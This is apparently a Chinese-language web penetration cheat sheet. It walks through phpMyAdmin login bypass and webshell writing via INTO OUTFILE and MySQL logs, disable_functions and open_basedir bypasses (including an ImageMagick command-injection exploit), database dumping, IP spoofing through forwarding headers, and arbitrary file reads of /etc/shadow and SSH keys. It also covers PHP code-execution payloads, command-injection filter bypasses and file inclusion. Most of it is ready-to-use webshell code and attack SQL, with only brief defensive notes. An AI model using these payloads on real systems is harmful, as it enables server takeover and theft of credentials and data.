目录
一、基于phpmyadmin的攻击
简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
入口寻找
目录扫描,cms特性,谷歌黑语法,网站自带等方法可以找到phpmyadmin入口。
版本判断
登录界面的问号有版本信息,也可以直接访问:/doc/html/index.html目录来查看。
登录口令爆破
万能密码漏洞
phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使用‘localhost’@'@”
为账号登录就可以无需密码。
phpmyadmin2.11.9.2 这个版本存在空口令,直接root用户登陆。
getshell
需要先获取物理路径。
获取物理路径
报错:
⽹站代码问题报错:如何报错?⼀般就是加 ’ 等特殊字符
解析器(Web容器、中间件)报错:如 IIS7.5,如何报错?⼀般就是加⼀些不存在的⽬录名字
Google爆路径:结合关键字和site语法搜索出错⻚⾯的⽹⻚快照,常⻅关键字有warning和fatal error。注意,如果⽬标站点 是⼆级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw "atal error"
根据正常的安装⽂件猜:⽐如phpstudy的默认⽹站⽬录是:c:/phpStudy/phpstudy/PHPTutorial/WWW/
读取解析去的配置⽂件:
正常情况我们是⽆法得知解析器的配置⽂件的,这个时候就是尝试解析器默认的安装路径。
取巧的方法是假设某种情况下,我们得知⽬标是⽤的phpstudy,可是不是在默认的路径,我们就可以读取路径 select @basedir ,得到路径后,推测⽹站路径。
旁站报错:你的⽬标是不报错的,但是不代表你的⽬标⽹站的邻居不报错啊。⽐如⽬标站是 www.target.com ,它的邻居 是:www.victim.com ,邻居⽹站有注⼊,加 ’ 后爆出它的⽹站某个⻚⾯路径是:c:/wwwroot/victim/news.asp
,那你根据这个推荐你的⽬标站点的路径就有可能是 c:/wwwroot/target/
。
其他信息:phpinfo⻚⾯、⽹站源码备份
常用方法获取shell
直接用into outfile 直接在网站目录下写入webshell,但是该方法需要前提条件是:
(1) 当前的数据库用户有写权限
执行:show variables like '%secure%'
; 如果secure_file_priv如果非空,则只能在对应的目录下读文件,如果是空即可在其他目录写。Linux下默认/tmp目录可写。
(2) 知道web绝对路径
上一节。
(3) web路径能写
在知道web路径的基础上,使用select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/xx/shell.php'
;会报错提示Can't create/write to file '/var/www/html/.666.txt' (Errcode: 13)
,证明目录不可写,可以尝试网站下其他目录,如/upload、/templates、/cache等目录。
日志getshell
web路径不能写可以用这个方法。
前提:读写权限+web绝对路径,修改日志文件为webshell
两种方法写入shell
1.通过写入日志文件getshell,具体方法如下:
(1)开启日志记录:
set global general_log = "ON";
(2)查看当前的日志目录:
show variables like 'general%';
(3)指定日志文件
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/.404.php";
(4)写入执行代码:
select "<?php phpinfo();?>";
2.通过慢查询写入webshell,具体方法如下:
(1)查看当前慢查询日志目录:
show variables like '%slow%';
(2)重新设置路径:
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
(3)开启慢查询日志:
set GLOBAL slow_query_log=on;
(4)执行写入日志:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
导出shell
- 正常导出拿shell
姿1.SELECT "<?php phpinfo();?>" INTO OUTFILE "E:\\wamp\\wamp\\www\\2.php"
姿2.SELECT "<?php phpinfo();?>" INTO dumpFILE "E:\\wamp\\wamp\\www\\2.php"
- 创建表导出
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;
- 猥琐型导出
select * from admin where userid=1 into outfile "x:\\wwwroot\\sx.php" LINES STARTING BY 0x3C3F70687020706870696E666F28293F3E%23
写完语句,要⽤hackbar的urlencode编码⼀下,不然很⼤⼏率是不成功的哟。这个可以在基于MySQL的报错注⼊中 写webshell。 hackbar结果:0x3C3F70687020706870696E666F28293F3E=<?php phpinfo()?>
二、phpinfo页面展开的渗透
获取phpinfo的方法
扫描【⽬录扫描器】、Google Hacking、⽹站⾃有功能、同个服务器的其他站点等方法。
phpinfo存在的信息
版本:version
操作系统:system
网站物理路径:_ENV[“SCRIPT_FILENAME”]
真实IP:_SERVER[“SERVER_ADDR”]
web服务器版本:_SERVER[“SERVER_SOFTWARE”]
是否开启远程包含:allow_url_include
魔术引号:magic_quotes_gpc
限制用户操作的文件:open_basedir
被禁止的PHP函数:disable_functions
绕过disable_functions
disable_functions本质上就是个黑名单,这里介绍几种绕过方法。
黑名单绕过法
由于disable_function本质上属于黑名单,这个时候就可以寻找是否有漏网之鱼,进行黑名单绕过。
- exec
<?php echo exec('whoami');?>
- shell_exec
<?php echo shell_exec('whoami');?>
- system
<?php system('whoami');?>
- passthru
<?php passthru("whoami");?>
- popen
<?php $command=$_POST['cmd'];$handle = popen($command , "r");while(!feof($handle)) { echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle);?>
- proc_open
<?php $command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?>
系统组件绕过
window com组件(php 5.4)(高版本扩展要自己添加)
COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
代码:
<?php
$command=$_GET['shy'];
echo "command:".$command."<br>";
$wsh=new COM('WScript.shell');//实例化一个对象$wsh
$exec=$wsh->exec($command);//调用这个对象的exec()方法执行命令
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo $stroutput;
?>
ImageMagick漏洞绕过
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。
代码:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
绕过open_basedir
命令执行函数绕过,可以使用命令执行函数来访问限制目录。
但是由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。
symlink()函数
bool symlink ( string $target , string $link )
symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
glob伪协议
在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
并且在/var/www/html/下新建t.php内容为:
<?php
$a = "glob:///var/www/test/*.txt";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}
?>
三、基于网站备份展开的渗透
现在⽹站应该是⾮常常⻅的,正常情况下我们运维⼈员需要定期对⽹站进⾏备份,防⽌服务器问题导致⽹站数据丢失, 那么怎样备份⽹站呢?
怎么获取网站备份
目录扫描器
形如:bakcup.rar、back.rar、back.tar.gz、back.zip
⽹站备份专用扫描
www.baidu.com.rar www.baidu.com.zip
其他漏洞目录遍历漏洞
网站备份在渗透过程中有什么用
-
可以先进行代码审计,深度审计可先审计注⼊、上传页面情况,再审计垂直越权、代码(命令)执行等漏洞。
-
寻找网站配置⽂件 -->尝试连接数据库 -->获取网站后台密码 -->>udf提权
-
找到后台登录 -->尝试弱口令/根据已有信息整理出字典进爆破
-
查找其他可访问到的功能经行拿shell操作,如:上传页面可直接访问(未授权访问),存在sql执行页面并可直接访问(未授权访问)等。
-
寻找⼀些网站系统说明⽂件或其他存在密码的⽂件,有可能直接登录网站后台或登录到其他系统。
-
寻找同⾏留下的shell,可利用webshellkill等webshell查杀工具来查找到webshell
四、各类拖(脱)库方法
简述
是进⼊某个系统后,拿取该系统的数据库中的某些数据,把数据从数据库分离出来的过程叫拖库(脱裤)。
把数据传回我们⾃⼰的机器的过程叫“数据回传”,传输所⽤的⽹络通道叫“数据回传通道”,建⽴这个通道的过程叫“通道建⽴”。 该通道要有以下几个特性:安全、持久、快速。
注入点拖库
原理: 通过SQL注⼊语句获取结果。
结论1: 在⼤批量数据库导出的时候,会对⽹站执⾏⾮常多的请求。
结论2: 如果注⼊点是盲注类型的话,我们⼀般是不会进行⼤批量数据的导出的,原因1:因为此操作会到处⼤批量的 SQL请求⽇志出现在服务器上⾯,只有要管理员稍微查看⼀下⽇志就会发现⽹站被攻击。原因2:盲注的速度实在是慢, 就算是⼏⼗MB的数据出库,都需要很久,更加不要说GB级和TB级别的数据量。
sqlmap注入拖库:
就是sqlmap的常见用法,但是前提是要有注入点。
获取的数据存放在:
/pentest/web/scanners/sqlmap/output/so.126disk.com/dump/126disk/
获取后也可以进行解密。
获取webshell情况的拖库
拿到webshell后,就要找到数据库的连接信息,包括:账号、密码、数据库主机、端口,连接进数据库执⾏查询语句并导出。
获取到数据库账号、密码、数据库主机、端口,可通过数据库管理程序连接。如果能控制数据库服务器,可把数据备份到服务器,再 回传,如若控制不到,就查询数据,然后导出。
常用企业级数据库管理程序:
mssql:navicat premium
mysql:mysqldump、phpmyadmin、navicat premium
oracle:navicat premium
五、HTTP请求源IP伪造
在有⼀些⽬标站点配置了只允许特定的IP访问,在⽬标验证来源IP不够严苛的情况下,我们可以伪造IP来达到访 问某些Web应⽤的⽬的。
利⽤的前提是⽬标站点判断特定IP或者IP段是通过请求头来获取的。
出现点:⼀些关键点:后台 重要的⼦站:⼤型⽹络的XXX管理后台、菠菜等⾮法站点后台。
方法:burpsuite抓包后在HTTP请求包加⼊特定的请求头和值。
例子:
X-Forwarded-For:192.168.0.91
X-Originating-IP:192.168.0.92
X-Remote-IP:192.168.0.93
X-Remote-Addr:192.168.0.94
X-Client-IP:192.168.0.95
不知道IP可以尝试轮询(暴力破解)。
六、Github信息泄露利用
信息泄露不只是Github的,我们主要是关注泄漏的信息,而Github的泄漏是很重要的⼀个途径。
原理:很多⼈(程序猿)都是喜欢把代码放到Github的,他们在本地测试之后,可能会习惯把代码同步到Github,其中有可 能包括惯⽤密码的啊。能有密码是最好的啦,没有密码的话,能找到源码也是极好,审计⼀波,不管⿊盒还是⽩盒。
方法:可以手动搜索,也可以安装⾃动化查询【监控】脚本。
⾃动化查询【监控】脚本⽐如有:Hawkeye、x-patrol、GSIL
七、文件下载漏洞的深化
漏洞介绍:⼀些⽹站的业务需要,可能提供⽂件查看或下载的功能,如果对⽤⼾查看或下载的⽂件不做限制及限制不够严格,就 能够查看或下载任意的⽂件(理论上),可以是⽹站⽂件,也有可能是系统⽂件等等。
漏洞产⽣原因:存在读取⽂件的函数;读取⽂件的路径⽤⼾可控,且未校验或校验不严;输出了⽂件内容。
漏洞利用思路:
这个并不是很直接的漏洞,根据权限的不同,我们能利用的方法也不同。
高权限:有时候⽬标的解析器可能是集成了⼀些⾼权限⽤⼾的权限,那么就可以去查看系统的⼀些敏感⽂件,包括密码⽂件、 配置⽂件,还可以查看各类终端连接⼯具的配置⽂件、⽇志,⽐如winscp,xshell。
低权限下 权限低能做的操作就少了,能查看到⽹站源码更甚是猜到旁站路径,拿到旁站源码也是极好的。
挖掘方法:
可以扫描器(awvs)也可以手工。
谷歌黑语法
inurl:”readfile.php?file=
inurl:”read.php?filename=
inurl:”download.php?file=
inurl:”down.php?file=
敏感信息
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
修复方案:
- 过滤.(点),使用户在url中不能回溯上级目录
- 正则严格判断用户输入参数的格式
- php.ini配置open_basedir限定文件访问范围
八、PHP代码执行漏洞
由于开发⼈员编写源码时,没有针对代码中可执⾏的特殊函数⼊口做过滤,导致客⼾端可以提交恶意构造语句,并交由服务端执⾏。没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。
常见执行函数:
1.eval函数:
eval函数把字符串作为PHP代码执行
<?php eval("$_POST[1]")?>
2.assert函数:
assert函数检查一个断言是否为FALSE
<?php assert($_POST[1])?>
3.call_user_func函数:
call_user_func函数把第一个参数作为回调函数调用函数语法:
mixed call_user_func ( callable $callback , array $param_arr )
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数
<?php call_user_func($_POST['fun'],$_POST['arg'])?>
上述示例代码:通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息。
4.call_user_fun_array函数:
call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数函数语法:
mixed call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入
<?php call_user_func_array($_POST['fun'],$_POST['arg'])?>
5.create_function函数:
create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称
函数语法:string create_function(string $arges , string $code)
<?php
$id=$_GET['id'];
$code='echo'.$func.'test'.$id.'.';
create_function('$func',$code);
?>
create_function函数会创建虚拟函数转变成如下代码
<?php
$id=$_GET['id'];
function func($func){
echo "test".$id;
}
?>
当id传入1;}phpinfo();/*
时 就可以造成代码执行
6.array_map函数:
array_map函数为数组的每个元素应用回调函数
函数语法:array array_map(callable $callback,array $array[,array $array2…])
<?php
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
?>
输入func=system&argv=net user
为payload后可得到system(net user)
7.preg_replace函数:
preg_replace函数执行一个正则表达式的搜索和替换
语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
上述语法为搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
<?php
$subject="hello hack";
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
?>
输入name为007
时,函数执行结果为:hello 007
九、OS命令注入基础及权限深化
简述
命令注⼊是⼀种通过存在漏洞的应⽤程序向主机操作系统执⾏任意命令。当应⽤程序对⽤⼾提供的数据(表单,cookie,http 头)不进⾏检测传递给系统 shell,那么就有可能存在命令注⼊。在这种攻击中,攻击者提供的操作 系统命令通常以易受攻击的应⽤程序的特权执⾏。主要原因是输⼊验证不⾜导致命令注⼊攻击。
命令注入常用符号
&&:语法格式如下:
command1 && command2 [&& command3 ...]
命令之间使用 && 连接,实现逻辑与的功能。
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
| :表示管道,上一条命令的输出,作为下一条命令的参数
||:语法格式如下:
command1 || command2 [|| command3 ...]
命令之间使用 || 连接,实现逻辑或的功能。
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。
&:表示将任务置于后台执行
;(分号)多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
服务端相关危险函数:
1.system()
system() 能够将字符串作为OS 命令执行,自带输出功能
2.exec()
exec() 函数能将字符串作为OS命令执行,需要输出执行结果。测试代码如下
3.shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
4.passthru()
执行外部程序并且显示原始输出
5.popen()
popen() 也能执行OS 命令,但是该函数并不是返回命令结果,而是返回一个文件指针。无论返回什么,我们呢关心的是命令执行了
6.反引号
反引号[``] 内的字符串,也会解析成OS 命令
漏洞利用
查看系统文件:
提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts]
,查看系统hosts 文件。
显示当前路径:
提交参数[?cmd=cd]
写文件:
提交参数[?cmd=echo "<?php phpinfo();?>" > c:\phpStudy\WWW\Commandi\shell.php]
页面没有报错,说明写入文件成功。访问shell.php 文件
防御方法
尽量减少命令执行函数的使用,并在disable_functions 中禁用
在进入命令执行的函数或方法之前,对参数进行过滤
参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义
命令注入绕过方式
绕过空格:
使用
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
代替空格。
注:IFS的默认值为:空白
黑名单关键字过滤绕过:
使用$*
和$@
,$x(x代表1-9),${x}(x>=10)
注:因为在没有传参的情况下,上面的特殊变量都是为空的
使用反斜杠
使用变量
编码绕过
绕过长度限制:
文件构造
十、文件包含利用:远程-本地
简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间,但是也有很多安全隐患。
文件包含函数:
require()//出现错误的时候,会直接报错并退出程序的执行。
require_once()//出现错误的时候,会直接报错并退出程序的执行,只包括一次。
include()//出现错误,会抛出一个警告,程序继续正常运行。
include_once()//出现错误,会抛出一个警告,程序继续正常运行,只包括一次。
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
本地文件包含
无限制本地文件包含漏洞
<?php
$filename = $_GET['filename'];
include($filename);
?>
可以无限制的访问服务器的其他文件。
session文件包含漏洞
利用条件:
session位置可以获取
可通过phpinfo(session.save_path)获取位置,得不到phpinfo时也可以猜测(linux下session位置默认为/var/lib/php/session目录下)。
实例代码:
<?php
session_start();//启动新会话或者重用现有会话
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
此php会将获取到的GET型ctfs变量的值存入到session中。
可以通过向ctfs写入恶意php脚本来getshell。
有限制本地文件包含漏洞绕过
绕过方法1:%00 截断
条件:magic_quotes_gpc = Off PHP 版本<5.3.4
测试:?filename=../../../../../../boot.ini%00
绕过方法2:路径长度截断
条件:
windows下目录路径最大长度为256字节,超出部分将丢弃;
Linux下目录最大长度为4096字节,超出长度将丢弃
测试:?filename=text.txt././././. 或?filename=test.txt.....
远程文件包含漏洞
前提:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
无限制与本地基本一致
有限制:可以用? # 空格等绕过。